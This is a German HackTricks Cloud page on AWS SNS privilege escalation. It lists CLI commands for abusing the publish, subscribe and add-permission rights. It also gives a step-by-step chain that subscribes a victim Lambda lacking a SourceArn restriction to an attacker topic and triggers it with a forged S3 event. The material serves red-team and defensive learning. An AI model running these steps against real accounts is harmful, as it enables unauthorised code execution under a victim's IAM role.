AWS - SNS Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SNS
Für weitere Informationen siehe:
sns:Publish
Ein Angreifer könnte bösartige oder unerwünschte Nachrichten an das SNS topic senden, was potenziell zu Datenkorruption, dem Auslösen unbeabsichtigter Aktionen oder zur Erschöpfung von Ressourcen führen kann.
aws sns publish --topic-arn <value> --message <value>
Mögliche Auswirkungen: Ausnutzung von Schwachstellen, Datenkorruption, unbeabsichtigte Aktionen oder Ressourcenerschöpfung.
sns:Subscribe
Ein Angreifer könnte ein SNS topic abonnieren und dadurch möglicherweise unautorisierten Zugriff auf Nachrichten erlangen oder die normale Funktion von Anwendungen, die auf das Topic angewiesen sind, stören.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potentielle Auswirkungen: Unbefugter Zugriff auf Nachrichten (sensible Informationen), Dienstunterbrechung für Anwendungen, die von dem betroffenen Topic abhängen.
sns:AddPermission
Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-Topic gewähren und dadurch möglicherweise weitere Berechtigungen erlangen.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potentielle Auswirkungen: Unbefugter Zugriff auf das Topic, Offenlegung von Nachrichten oder Manipulation des Topic durch unbefugte Benutzer oder Dienste, Störung des normalen Betriebs für Anwendungen, die auf das Topic angewiesen sind.
Lambda aufrufen, indem wildcard SNS-Berechtigung missbraucht wird (kein SourceArn)
Wenn eine resource-basierte Policy einer Lambda-Funktion sns.amazonaws.com erlaubt, sie aufzurufen, ohne das Quell-Topic (SourceArn) einzuschränken, kann sich jedes SNS topic (auch in einem anderen Account) abonnieren und die Funktion auslösen. Ein Angreifer mit grundlegenden SNS-Berechtigungen kann die Lambda dazu zwingen, unter ihrer IAM-Rolle mit vom Angreifer kontrolliertem Input auszuführen.
tip
TODO: Kann das wirklich kontoübergreifend durchgeführt werden?
Voraussetzungen
- Die Policy der Opfer-Lambda enthält eine Aussage wie unten, ohne
SourceArn-Bedingung:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Missbrauchsschritte (im selben oder kontoübergreifend)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Mögliche Auswirkungen: Die betroffene Lambda-Funktion läuft mit ihrer IAM-Rolle und verarbeitet vom Angreifer kontrollierte Eingaben. Dies kann missbraucht werden, um die Funktion dazu zu bringen, sensible Aktionen durchzuführen (z. B. in S3 zu schreiben, auf secrets zuzugreifen, Ressourcen zu ändern), abhängig von ihren Berechtigungen.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud